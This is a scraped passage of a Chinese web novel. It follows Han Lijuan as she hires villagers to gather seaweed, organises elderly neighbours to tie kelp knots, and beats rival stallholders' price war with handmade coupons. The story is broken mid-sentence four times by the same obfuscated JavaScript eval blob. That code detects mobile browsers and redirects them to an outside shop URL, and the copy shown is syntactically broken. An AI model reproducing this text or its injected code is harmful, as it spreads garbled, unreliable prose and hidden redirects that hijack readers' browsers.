“婶子，你好，我想跟您打听一下，咱们村里，有没有人愿意接赶海的活。” “赶海？什么活？”妇女问道。 “我想每天过来收十五斤的海菜，未来可能会增加，不知道咱们村谁能干这个活，能麻烦您告诉我一下吗。” “就赶海就行呗，不用送货什么的？”妇女停了韩丽娟的话，思索一会，问道。 “对对。”韩丽娟点头，她觉得这个村子里应该会有，比如年纪稍大的人，或者家里琐事太多上不了班又想赚点钱的，这个活都能干。 “还真有。”妇女心里把村子里人的转了一圈，想出来那么个人。“我带你……”妇女突然一顿，回头朝院子里的年轻人说道。“永乾，你带这小姑娘去你郭大娘家，注意院子里的狗哈。” 妇女本来想带韩丽娟过去，但想到郭家院子里那两条大狗，每次她路过都恨不得绕道走。 “行。”一直站在院子里观察情况的年轻人闻言，走过来，带着韩丽娟朝村子里走去。“我带你去。” 韩丽娟思索一下，推着自行车跟在身后。 冯永乾走在前面，想跟人说几句话，发现人在身后，于是停下来，走到韩丽娟身侧。“你买海菜做什么？” 他问。 “卖给别人。”韩丽娟回答后反问。“郭大娘是个什么样的人？” “郭大娘女儿嫁人了，嫁的外地。儿子还在读书，郭大爷身体不好，干不了重活，俩人就在家干点零活，系海带结，或者去果园帮忙。”冯永乾将郭家的事情，跟韩丽娟和盘托出。 “你们这里海边这么近，郭大娘怎么没赶海去县里卖？”韩丽娟有些疑惑，靠山吃山，靠海吃海，这个村子，离海边这么近，天然具有优势啊。 “郭大娘有些结巴，人越多越严重……” 说话间，就到了郭大娘家大门口。 院子里的狗，听到脚步声，汪汪汪的开始叫唤。郭大娘听到狗叫声，走出屋子，就看见同村的冯永乾带着一个陌生姑娘站在她家门口。 “永乾，咋？”郭大娘面带疑惑的问，因为有些口吃，她习惯性的能少说几个字就少说几个字。 “你好，郭大娘，我是后山过来的，叫韩丽娟，想来咱们村收点海菜，遇到冯家婶子，她介绍我过来找你，说这活你干的好。”韩丽娟三言两语将事情讲明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098514|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郭大娘听完，先是点点头，又看向冯永乾，那意思是“真的吗？” 冯永乾在一旁点头。“郭大娘，她说的对。” “钱，怎，怎……”郭大娘想问，钱怎么算，怕磕巴，她想着尽量少说几个字，但没想到卡主了，一瞬间有些脸红。 “按斤，一斤2毛5分钱。”韩丽娟在郭大娘说第二个怎的时候，就接过话来。“郭大娘，我现在每天需要15斤，就是3块7毛5分钱，未来可能需要的会更多，您这边能完成吗？” “能！”郭大娘斩钉截铁，就一个字，能！ 她甚至没有跟韩丽娟讲价，讲啥呀，他们两口子系海带结，一天不过四五块，赶小半天的海，就将近四块，这钱不赚，寻思啥呢。 韩丽娟心里，最高价位是3毛，没想到郭大娘压根没跟她讲价。韩丽娟想，等海菜季忙完，她给郭大娘发红包。 谈好价钱，剩下的事情就更好办了，主要是韩丽娟说，郭大娘听，等到了赶海的时间，郭大娘拎着网兜，跟着韩丽娟一起去赶海。 唐姐过来，发现韩丽娟身边多个人。“你家亲戚。”赶海途中，她过来问。 没听韩丽娟说自己家来亲戚啊。 “不是，这个村子的。”韩丽娟摇头。“我最近比较忙，菜又卖的多，就找个人帮我的忙。” 韩丽娟说一半，留一半，今天跟金店长那边确定了送货时间是每天上午8-9之间，太早店里忙着早餐，没时间接货。太晚又耽搁市里送货车往回走。韩丽娟只能在早市结束后，去送货，她带着那么多的海菜去早市，一看就不全都是自己赶的。 郭大娘这事没啥好藏着的，也藏不住。 “那早市能卖了吗？”唐文丽怀疑。 “早市结束，我再出去转转。”韩丽娟说。 唐文丽听罢，没再说什么。 赶完海，韩丽娟又去找了刘婶，跟刘婶沟通好，她还从刘婶这里接活，每斤一毛一，但是刘婶让送货的司机把货给韩丽娟送过去，先期三天两百斤。 刘婶没啥犹豫就答应了，送货的司机是养殖场的，她不费钱，只要韩丽娟从她这里拿货，她乐的做个顺水人情。 这解决了韩丽娟取货送货的难题，毕竟对司机来说一脚油的事情，韩丽娟可能要浪费一两个小时，随着系海菜口人数的增加，她需要用到的时间就更多。 办完这件事，韩丽娟才驮着将近40斤的海货，回到自己家。 路过王奶奶家门口，一群老人坐在那。 “快快快，娟子回来了。”正在唠嗑的老人们，看见韩丽娟，全都站起来。 ？ 韩丽娟大为不解，这是在干啥。 她停稳自行车，想着先把货卸下来再问王奶奶。 “我来。”人群里，一个老头走出来，帮着韩丽娟把袋子搬下来。 “王奶奶”韩丽娟拽过王奶奶。“这是……” “我把你的话转告给大家了，大家说你做了好事，要过来认识认识你，我一寻思，大家说的也对，就都带过来了。娟子，你以后带着大家干活，认识认识特挺好。” 好嘛！ 韩丽娟心说，一不小心，她成了这附近老头老太太联盟的头头。 27. 第 27 章 韩丽娟回头，一群老太太，夹杂一个老头，全都嘻嘻哈哈的看着她。 行，她有老人缘，她从小就知道。 也不能将老人拒之门外，只能请进来，但卧室毕竟是她跟孙慧两个小姑娘住的地方，不好让太多人进去，大家也都没往屋子里走，而是在厨房，各自找到一个合适的位置，放下自己的小板凳，坐好。 韩丽娟站在中间，说些啥呢。 “各位奶奶，今……”韩丽娟开口。 “咳……”坐在门边刚刚替韩丽娟搬东西的老头咳嗽一声。 “还有爷爷。”韩丽娟立马改口。 “哈哈哈哈……”大家笑出声。 “笑啥。”刚刚咳嗽的老头也忍不住笑出声。 “今天我去沟通过，咱们呢，从明天开始，正式系海带结，那我就先给大家讲一下海带结到底怎么系，有啥要求行吧。”韩丽娟想，毕竟她每天挺忙的，出去卖菜也没时间一直盯着大家。她不如趁着这个机会，先教好大家，定好规则。 “行行行。”众人都忙不迭的点头。 “各位爷爷奶奶，这我知道大家想赚钱，但咱们如果只是追求干的多，而不注重好不好，短期内是能多赚那三五毛，时间长了人家可能就不用咱们了。咱们要在保证做的好的前提下，自己能多做点，就多赚点。我丑化说在前面，谁如果系的海带结两次不达标，那我就不带他了。”说到最后，韩丽娟觉得给这些爷爷奶奶们上上强度。 “当然，我相信各位爷爷奶奶不会这么做的，大家如果做的好，以后我有其他赚钱的门路，我还带着大家。”打个巴掌给个甜枣，最后的最后，韩丽娟给爷爷奶奶画大饼。 “好！”王奶奶领头，一群老人给韩丽娟鼓掌。 韩丽娟哭笑不得，她想让爷爷奶奶快停下那稀稀拉拉的掌声吧，但又不想打击大家的积极性，忍着吧。 “娟子，你放心，我们都这么大岁数，可是要脸的，活干不好被人说，那多磕碜人啊。”一个老太太最先表态。 “说得对，说的对。”其他人也不甘示弱。 “好，那时间也不早了，各位爷爷奶奶就先回家，咱们按照我刚刚说的，我负责将海带给大家分好，记好数量，大家回去按照时间完成，给我送回来我检查，检查没问题，当场结账。好不好？” 韩丽娟不准备按照刘婶那边十天发一次钱，老人们年纪大，虽然身体硬朗，但他们中的大多数人都是不识字，也不会记账的，时间长了容易乱账。一次一清，她也省事。 爷爷奶奶开开心的来，高高兴兴的走，一边走还聚在一起嘁嘁促促的。 …… 解决了海菜跟爷爷奶奶的事情，韩丽娟感觉浑身轻松不少。 明天她就安心的早市出摊，走走市场，然后赶海，回来给爷爷奶奶们分工。 日子如此安稳的过了两日。 这天早市，韩丽娟如往常一般，热情的招呼顾客。 “丫蛋，你海菜今天什么价？”一个老主顾过来，问一嘴。 “来啦，婶子，还是老样子，八毛一斤，一块五两斤。” 韩丽娟按照往常报价。 “你今天贵了，他们几家全都7毛，我就寻思找你，才没在他们那买的。”谁料，老顾客听到韩丽娟的价格，却皱起眉头。 他们降价了？她咋不知道呢。 韩丽娟心里合计，面上不显。“那我也按照7毛卖给您。”韩丽娟笑呵呵的给人称二斤海菜，称完，照旧从袋子里抓一把给到顾客。 怎么突然都降价了呢！ 自从韩丽娟来了以后，大家心照不宣都是要价8毛，卖的过程中，顾客讲价，大家根据自己情况适当给顾客一些优惠。但今天，他们要价就是7毛，这是干什么。 早晨韩丽娟在早市溜达了一圈，并没有增加新的卖海菜的摊位，还是他们几个，大家带的菜重量也没什么变化，都是二十多斤的菜。 “丫蛋，他们几个降价了，没告诉你？”顾客走后，挨着韩丽娟摊位的一个卖白菜萝卜苹果的大妈，凑过来，嘀嘀咕咕。 “应该是凑巧了。”韩丽娟不想说太多。 “大妈什么没见过呀，啥凑巧，我跟你说，就是那几个嫉妒你卖的好，合起伙来挤兑你。”周大妈才不信韩丽娟的话，她吃的盐比韩丽娟吃的饭都多，啥没见过呀。 “来买萝卜的了，周大妈。”韩丽娟看到有顾客站在周大妈摊位前扒拉萝卜，赶紧让她回去卖货。 “她们得挑一会呢……” “买俩萝卜歹啊。” “哎呀妈呀，什么时候了，还吃萝卜，打春萝卜立秋瓜，不好歹了！” 两个顾客在周大妈摊位前对她的萝卜品头论足。 “妈呀，我这萝卜可放得好，哪就不好歹了，胡诌八扯！”周大妈本来都不想卖货，因为被人质疑萝卜糠了，也顾不得跟韩丽娟八卦，她放过韩丽娟，赶紧回去掰头。 早市散开，韩丽娟去找唐文丽。“唐姐，今早大家海菜都降价了？”韩丽娟开门见山。 “没有吧。”唐文丽矢口否认。“我是按照7毛一斤卖的。”但还是找补一句。“大家也一样？” “唐姐，那你降价怎么不跟我打个招呼呢。”韩丽娟仿佛相信唐文丽的话。 “我就想着赶紧卖，没想那么多，下次我告诉你。”唐文丽看见韩丽娟车上还剩很多菜。“你这是没卖了？” “嗯，今早没卖上价，我去街里转一转。”唐文丽没跟她说实话，韩丽娟也欺骗了唐文丽，俩人扯平。 其实韩丽娟不在乎他们是不是合起伙来降价不告诉她，她在乎的是怕几个人为了互相挤兑，恶意降价，最后大家都赚不到钱。 起早贪黑冰凉的海水，大家都不容易，能好好赚钱，还是好好赚钱的好。 从早市离开，韩丽娟去找金店长送货。金店长见面就说恭喜，说明天要十五斤的货。 韩丽娟十分开心，郭大娘家离海边近，他们两口子如果齐出动，每次赶海轻松四五十斤，所以，对于金店长的这边的需求，韩丽娟能轻松应对。 早市这边，韩丽娟想和平共处，却不料降价风波越演越烈。 第二天早晨，海菜竟然降价到6毛5分钱。 第三天早晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102425|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，海菜降价到6毛钱。 韩丽娟有些看不懂，他们在干嘛，不赚钱吗？ 她再次找到唐文丽。“唐姐，我不知道发生什么，怎么大家都这么卖货，还赚钱吗？” 平均每斤少赚1毛钱，一天就少赚2块钱。实际上他们一天不过就是赚十几二十块，有几个2块啊。 “我劝过，娟子，她们不听我的。”唐文丽这次没说谎。之前降价7毛的时候，那俩人找到她，她想着合群，就跟着降一降。本身要价8毛，有时候也7毛就卖。 没想到，这俩人看韩丽娟真的剩菜走，觉得这招管用，竟然想着把人完全挤兑走。 7毛还不行，俩人降到6毛5，今天又降到6毛。 她第二天不想跟着降价的，谁不想赚钱啊，价格越来越低，赚的越来越少，辛苦一天图啥啊。 可不降不行啊，别人低价，她价高，她就卖不动。 “他们想让我走，然后再把价格拉上来？” 韩丽娟问，她觉得对方想的太简单了。现在海菜属于新鲜菜，能卖上价，可随着天越来越暖和，市场上已经开始有越冬的菠菜了。虽然价格现在也不便宜，菠菜本身没有海菜有吸引力，但有了菠菜，就马上会有别的小菜。 菜市场里新鲜的小白菜最近价格都下来了，因为再过二十天左右，很多农户家，自己扣棚的小菜也能吃能卖。 最近，跟老人家们交流的多，她也知道，村子里大家已经开始收拾地，勤快的已经在院子里扣上小棚子，种上白菜水萝卜。 越冬的小葱，菠菜最近她也收了几把。 眼看着选择越来越多，未来海菜一定会降价的。 她跟她老叔收鹅毛，摆摊，见得多了。 养鹅的人多，收鹅毛的就压价，收鹅毛的多，卖鹅毛的人就涨价。 她妹韩丽敏告诉她，这是市场的供需调节作用。 这俩傻子，不趁着能卖上价的时候，好好买菜，搁这搞挤兑。 “我也不知道她俩真实想法，娟子，你看着菜价，我怕明天还会降，到时候咋办啊？” 唐文丽还是想赚钱的。 “那假如，我说我不降，你也不降，咱俩把价格稳住，你同意吗？”韩丽娟没说自己想咋办，而是问唐文丽跟不跟自己一起，稳住价格。 “啊？”唐文丽有些纠结。“这……”她不降价，这不便宜那俩降价的了吗，人家来菜市场一打听价格，谁都会选便宜的卖啊。 “那你跟我一起，咱们去找她俩，大家沟通一下，把价格稳住，你绝的怎么样？”韩丽娟接着问。 “那咱俩赶紧去吧。”唐文丽觉得这招行，她跟着韩丽娟，去跟那边谈，成了，大家把价格提高，不成大不了跟着降价呗。 看着乐观的唐文丽，韩丽娟可不乐观，但还是要聊一聊的，毕竟未来还都要在这个早市遇到，和气生财。 “哎，来了，来了。”另一边，两个卖海菜的坐在一起，看见韩丽娟带着唐文丽过来，一个人赶紧怼一怼另个人胳膊，让她看。 她们就知道，韩丽娟扛不住，来找她们谈判来了，等的就是她。 28. 第 28 章 “两位婶子，今天生意咋样啊？”韩丽娟过去，打招呼。 “还行，都卖光了，我看你还剩挺多，这是没卖完？”其中一个花头巾的大婶，眼神特意扫了一眼韩丽娟的自行车，她刚刚卖货的时候就一直盯着呢，早就知道韩丽娟菜没卖完，还剩二十多斤呢。 “是，剩了点，一会出去转转，8毛卖不上，7毛也差不多。”韩丽娟伸手拍拍自己的车后座的袋子。“婶子们明天准备多少钱一斤啊？” “明天啊，明天再看吧。”俩人压根不想告诉韩丽娟。 “这么降价，咱们谁也挣不到钱，不如把价格提高一点，卖的时候顾客讲价，咱们再降，这样不好吗？”韩丽娟问。 她本来不想管降价的事情，但是他们再降下去，会影响到她那些门店客户。 “俺们可不扛价，那菜白来的，给钱就卖呗，赚多少是多。”花头巾大婶意有所指的说。 韩丽娟看了唐文丽一眼，看样子唐姐把她花钱进菜的事情抖落出去了，不然这俩人不能这么斩钉截铁的说这话，还觉得一定能挤兑走韩丽娟。 人人心中有杆秤，韩丽娟的菜有本钱，2毛5一斤的收菜成本，还要加上早市的费用，而且收菜的时候是整体称重，卖菜的时候，是要分开称。进二十斤菜，一份两斤往外卖，最多卖9份，卖不上10份，因为每一份都要给人家多点分量。 所以，韩丽娟的菜想要不赔钱，最低要卖到4毛钱，想要赚钱，就要更高一点,5毛钱就是在浪费时间，6毛钱赚个辛苦费，7毛往上，能赚点钱。 只要他们降价，韩丽娟扛不住，就要出去沿街走巷。菜市场少个人，他们也能卖的好点。 实在是韩丽娟来了之后，这人太会溜须拍马的了，很多人都优先去韩丽娟那买货，他们的货卖的就慢了。 “所以，两个婶子降价是针对我吗？”韩丽娟直截了当的问。 倒是弄得对面俩人有些愣住，这么直接吗，难道不应该说一些软和话吗，虽然她们不吃她那一套。 “妈呀，可别瞎说，我俩是想咋卖就咋卖，你愿意卖几毛钱跟我俩有啥关系，我俩想卖几毛钱也跟你没关，真是卖两天菜，觉得这个市场都是你的了，啥都想说的算。” 一直没说话的紫头巾大婶，听到韩丽娟的话，不开心了。她还没被小辈这么针对着质问过呢。 “我管不到两位婶子，可是过几天别的青菜就下来了，咱们的海菜更卖不上价，我想着咱们没必要为了抢顾客这么闹下去。” 韩丽娟喜欢这个早市，人多，不用走街串巷的卖，她可以有更多的时间做些别的，每天卖菜这段时间，其实是她的休息时间。 她不想离开，但如果她一直在，这俩大婶为了挤兑她，不知道会把价格降低到啥样，偶尔一两天低价没什么，但时间长了，会影响到她跟那些店的生意。 她也不是没别的办法，但如果能通过沟通就解决问题，她觉得再好不过。 紫头巾大婶心说，那不更得先挤走你，不然过几天更不好卖。“我们不是第一天卖菜，这早市就这样，你要是受不了，你觉得卖的太便宜不合适，你就上别的地方卖去。” 图穷匕首见，他们就是想让韩丽娟走。 “咱们好好商量，整个市场就咱们几个，有啥吵得。”唐文丽看大家说话的语气都不对，赶紧出来劝。“咱们现在降价降的狠了，未来想涨也涨不起来。” 唐文丽这两天担心的就是这个，你把人挤兑走，你想着提高菜价，但是别人会觉得贵了，就不买了，低价不能一直用啊。 “不用你当好人，你前脚跟我们混一起，降价卖菜。后脚又跟她来找们，你到底算哪头的。”紫头巾大婶压根不领情。 韩丽娟没来之前，这个姓唐的被她们压着卖，后来还跟她们透露韩丽娟菜是花钱进的货，今天竟然还跟着韩丽娟找她们，这可真是墙头草，两边倒。 唐文丽被怼回来，一时不知道说点啥，她看看这俩大婶，又看看韩丽娟。 “行，我大概知道婶子们的想法了，那咱们就各卖各的。”人家话都说到这份上，韩丽娟也不想热脸贴冷屁股，大路朝天，各走一边，谁有能耐，谁赚钱。 韩丽娟推着自行车走了。 “娟子，娟子，你等我一下。”身后，唐文丽跟过来，“我那也是没想那么多，就把你那海菜是花钱买的跟她们说了。” 谁知道她们知道后，回想出着损招来对付韩丽娟。 “唐姐，我知道你不是有意的。”韩丽娟急着去送货，脚步没停，急匆匆的往前走。 韩丽娟知道，唐姐跟她关系也一般，跟那俩大婶还是先认识的，将她的信息透露出去，跟着那俩大婶一起降价，瞒着她，从唐姐的角度，完全没问题。但今天唐姐站在她这边，对唐姐来说，挺难的。 她们之间又不是好朋友，她也很多事不跟唐姐说，没啥生气的。“但是，明天你的菜要给我卖，他们卖多少钱，咱们就卖多少，卖完我给你钱，过不了两天，他们就不再降价了，你答不答应？” 所有的降价，究其原因，不就是为了抢客户吗。她们能抢，她也能抢！ “行！”唐文丽答应了。 “我这边急着卖菜，我就先走了哈，唐姐。”韩丽娟说完，骑着自行车走远。 第二天，韩丽娟过来，她觉得自己来的挺早，那俩卖海菜的大婶跟唐文丽都来了。 真够早的。 唐文丽看到韩丽娟，拎着她的海菜过来了。 “娟子，你今天怎么带了这么多菜？”唐文丽看着韩丽娟的自行车后座，这起码得将近一百斤的菜。 “嗯，今天好好卖一场。” 昨天，韩丽娟让郭大娘找了两个帮手。 唐文丽帮着韩丽娟摆菜。“能卖了吗？”她有些担心，韩丽娟还要走她的菜，这个菜市场是人多，但每天买海菜的人也是有数的啊。 “能卖多少是多少，剩下的我拉出去卖，没事，唐姐。”韩丽娟看唐文丽那如临大敌的脸色，笑了。 她不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107046|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饱和式卖菜而已，她要尽可能抢走，今天菜市场所有想买海菜的顾客。 她不卖了，那俩大婶别想卖！ “那俩降价了吗？”韩丽娟问唐文丽。 “嗯，5毛5分钱了。”唐文丽回答。 “降得不多呀，要是我，直接一把降到3毛。”韩丽娟开玩笑的说。 唐文丽看韩丽娟还有心情玩笑，瞬间也放松下来。 摊子摆好，逛早市的人也上来了。 “卖海菜！海菜5毛5一斤，买海菜送优惠券，下次直接省两毛！”看到人流变多，甚至还有人停留在那俩大婶的摊子前，韩丽娟直接开喊。 “哎哎，你听那家那个买海菜省两毛是咋回事？”这边正准备挑海菜的人，听见吆喝声，跟身边的人说。 “不知道，没听过，咱们去看看？” “走。”俩人放下已经摸到手的海菜，朝着韩丽娟的摊位走去。 “切！”摊位后面，带头巾的大婶不屑的嗤了一声。 韩丽娟摊位前，已经有人围了过来。 “啥优惠券？” “你海菜啥价啊？” “是不是骗人的？” “海菜优惠券，童叟无欺，今天在我买菜的，消费满一元，就送优惠价，下次直接当钱用。”韩丽娟一边解释，一边拿出一张优惠券给大家看。 大家接过来看，是一张用作业本裁出来四四方方掌心大的纸，纸面上写着字，有识字的开始念到“贰毛海菜优惠券，使用规则：一次壹张，抵贰毛现金，满一元可用，使用时间……”最底下，还盖着韩丽娟个人的印章。 韩丽娟设定的使用日期是从明天开始的一个月时间，差不多到海菜结束时间。 “就是这张优惠券，今天买菜的，满一元都给，未来一个月来我这买海菜，我都认这张优惠券。”韩丽娟朝着众人说道。 “那你在这摆摊，你不来了咋办？”有人看完觉得好，但是，摆摊的认不固定啊。 “大爷，我这券不用你花钱买，你今天买菜我免费送的，我不来你也不损失啥不是。”韩丽娟给老头解释，这玩意是免费送。“我在这菜市场也有一段时间了，几乎每天都来。” “对，这小姑娘每天都来，免费的你还这么多事，你要是怕你就不要呗。”一旁的周大妈跟着搭腔。 “免费的谁不要啊！”人群里有人接过话。 众人都点点头，免费的，吃不亏上不了当的，白给就拿着呗。 “给我称二斤海菜。”那大爷打听完情况，直接买二斤菜。他跟他老伴退休在家，闲着没事就给孩子们做点好吃的，这优惠券他用得上。 “好嘞。”韩丽娟应道，让唐文丽称菜。她则跟不清楚的人接着解释，顺便给买菜的人发优惠券。 “给我也称二斤吧。” “这咋这么多人？” 渐渐地人越围越多，韩丽娟跟唐文丽忙的飞起。 “她这是骗人的！”忽然，一个带着紫头巾的妇女，挤进人群。 29. 第 29 章 “你们拿了她的这个什么优惠券，下次来找她，她就给你们涨价，你们到时候还是一分钱也省不下。”紫头巾大妈站在人群中，高声嚷嚷。“她就是骗你们买她的货。” 本来满脸笑容的唐文丽听到紫头巾的话，立马收起笑容，怎么办，她说的好像是真的。 “这种情况不会发生。各位听我说……” 人群听到紫头巾的话，也开始嗡嗡嗡的讨论，甚至有人点头赞同。 但韩丽娟不慌不忙。她清了清嗓子。“我不敢保证我自己一定不涨价，涨价降价都是跟着市场来，不能别人卖7毛就我卖6毛，我也要赚钱的是吧，但我绝对不会因为发了优惠券，为了不让大家用而涨价。大家每次来早市都是会逛一逛的，早市也不止我一家卖海菜的，也不仅是在早市，大家也都逛市场的，知道什么东西大概是个什么价，大家都比着价的来呗，觉得在我这用优惠券买便宜，您就在我这买，觉得我这优惠卷用了也不合适，那就挑更合适的买。反正还是一句话，这优惠券不花钱，大家买不了吃亏买不了上当，就更不用拍我涨价。” “对呀，她说的对，咱们也不是傻子，那谁家便宜就买谁家呗。”本来被紫头巾忽悠住的人，又被韩丽娟劝回来。 “谁知道你说的是真是假，到时候你不认账，别人还能拿你怎么办。”紫头巾又喊。 “我这个优惠券上有我的印章，大家注意识别，没印章的都是假的。”韩丽娟先提醒众人。“我这优惠券就送三天啊，大家想要的抓紧。”然后，开始反驳紫头巾。“大婶，你也卖海菜，我也卖海菜，你不能看我卖得好，来砸我的场子吧，我这好好买菜，这么多日子，从来没跟顾客起过争执，也没给顾客缺斤少两过，怎么在你嘴里我就成了不认账，骗人的骗子了呢。”韩丽娟朝着紫头巾说完，又面向大家。“大家想买就买，不想买我绝对不逼着大家，这个优惠券好不好，我不多说，大家自己判断。” “你看人家小姑娘卖得好，来捣乱。” “赶紧，不买菜让开，买完菜我还回家上班呢。” “这么大岁数的人，欺负一个小姑娘，咋想的呢。” 韩丽娟话音落下，人群你一句，我一句，说的紫头巾大婶不好意思，还想张嘴，被花头巾生拉硬拽的拖走了。 “你拽我干啥。”紫头巾生气。 “再不拽你，你不得跟人家打起来。”花头巾怕紫头巾跟人动手，那小姑娘年轻力壮，还有人帮着，她们得不到好。 韩丽娟这边忙碌了起来。 “小姑娘，我今天不想吃海菜，我买点你这波螺，给不给优惠券啊。”人群又有人问。 “满一元，就给。”韩丽娟看了看那边的两个大婶，既然抢了顾客，那就抢到底。“但是我这个是海菜优惠券，您下次用只能是买海菜的。”韩丽娟又解释了一句。 “那我懂，给我量一块钱的波螺。” “好嘞！”韩丽娟拿起一个塑料袋给顾客装波螺。“买海菜的到这边排队称。”她指着唐文丽的位置，说。又指了指自己的位置。“交钱，买波螺，以及领优惠券的来我这里。” 就这样，韩丽娟的摊位红红火火。 两个大婶盯着韩丽娟的菜摊，韩丽娟也盯着两个大婶的菜摊，只要她俩菜摊有人停留，她就喊一嗓子“卖海菜，免费送优惠券，下次直接省两毛钱。” 往往这个时候，两个大婶面前的顾客就被韩丽娟喊走。 一个早市，韩丽娟除了剩下需要送货的25斤海菜，包括唐文丽的那二十多斤，全都卖个精光。 两个大婶直到后期，才卖出去几斤，但是早市到了尾声，看她俩剩的多，5毛5都有人挑挑拣拣，往下讲价。 “不是说她是进的货吗，咋还敢往外送那什么优惠券呢。” 看着韩丽娟走了，俩人开始研究韩丽娟到底赚不赚钱。 “那个优惠券满一元可用，就算买两斤用，那就是一斤给便宜一毛钱，她进货就2毛5，加上这1毛这就是3毛5了，再加上添头摊位费，她一斤赚上一毛钱了吗？”花头巾大婶嘴上嘟嘟囔囔，拿个小棍在地上比比划划。 “不对，她一斤给便宜的是5分钱。”紫头巾大婶说。 “怎么能是五分钱呢？”花头巾觉得紫头巾算的不对。“你看，满一元可用，优惠两毛，满一元就算两斤，那不就是每斤便宜一毛吗。” “她今天还卖了两斤呢，今天这两斤没用优惠券，下次用的话，两次一平摊，每斤便宜5分钱。”紫头巾大婶嫌弃的跟花头巾说。“瞅你这脑袋。”笨死了。 “哦~”花头巾恍然大悟。“那如果优惠券最后没用，她不就是跟咱们一个价，也没便宜啊，怎么今天她全都卖了，咱们卖不出去几斤呢？” “谁知道这帮人，一听人家说优惠两毛，就觉得可大便宜了，叫人忽悠了都不知道。”紫头巾觉得这帮买菜的也傻。 一春天吃几顿海菜包子呀，今天，为了那么个不知道用不用的上的优惠券，疯了似的买。 “那咱俩明天咋整啊？”花头巾不知道咋搞。“明天卖5毛？” 这几天俩人真没赚到几块钱，因为降价，俩人特意没赶那么多，前两天每天十块左右，今天甚至一个人五块钱都没赚上。 “哎，看看吧。”紫头巾大婶也没啥心气了，之前信誓旦旦的觉得能赶走韩丽娟，谁想到，今天被韩丽娟上了一课，再不收手，会不会被赶走的是她俩呢？“要是让她这么搞几天，逛早市的人手一张优惠券，以后不都去买她的菜了？” “那咱们降价呀，你刚才不是说她一斤成本提高5分，咱们到时候就比她便宜1毛。”花头巾灵光一闪。“她到时候总不能卖三四毛钱一斤，怎么不得卖6毛，咱们就卖5毛，就比她便宜。” “你这脑子，人家六毛，咱们5毛，他们手里还有优惠券省两毛，要是都买两斤， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111377|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价格还是一样的，咱们不比人家便宜。再说，你看她傻吗，到时候眼看着不讲价，会让咱俩赚了钱。” “你不是说每斤成本多5分钱吗，怎么又成1毛了！”花头巾脑子都乱了，算了，算了，想不明白，不想了。卖个菜，会算账不就行了，整的这么复杂。“看着挺软和的一个小姑娘，做事怎么这么狠辣呢。”一想到今天韩丽娟这损招，还牙痒痒。 “看走眼啦，哎！”紫头巾又叹气。 送完店面的货，韩丽娟回到家，开始数钱。 今天菜市场，抛出唐文丽的海菜，她自己的卖出去42份菜，算84斤，每斤成本2毛5的进货价，加上五分钱的优惠券成本，以及搭头和摊位费，总成本算3毛3分钱。卖价是5毛5分钱，每斤赚2毛2分，总共18块4毛8。加上波螺卖了11块钱，但是波螺这边送出去5份优惠券，成本算1块钱，扣除后，共计盈利28块4毛8。 店面的那二十五斤菜，有二十多斤是自己赶的，成本算1元，收回12块9毛5，净赚11块9毛5。跟早市的合在一起，她今天赚了40块4毛3！ 韩丽娟掏出单肩包里的钱，数了一遍，包里因为没有扣除优惠券的成本，以及她刚刚估算成本也偏高一点，实际上，她今天赚到的钱有将近50块！ 50块！ 韩丽娟都佩服自己。 如果每天都能赚50块，那一个月就是1500，一年就是一万八千块！她一年就成万元户啦。 冷静冷静，韩丽娟拍拍自己的脸蛋，告诉自己，别瞎想。 首先今天是因为发了优惠券，但是优惠券也有时限性，总发就没那么吸引人，就属于变相给海菜降价。 其次就是那两个卖菜大婶，适当的打压一下就好，韩丽娟没想着撵走她们，她们走了，还会有别人来的，到时候又是新一轮的战争。她的脑子，没那么好用，不是每次都能想到解决办法。最好就是这俩大婶被她打服，以后不整幺蛾子。 所以，过两天她的营业额会有回落，但这件事让她明白，当销量足够多的时候，哪怕单份的价格不高，也能赚到钱。 这也再次证明，她出去找市场的这个办法是对的。只不过目前因为她开出来的市场太少，赚的不多。 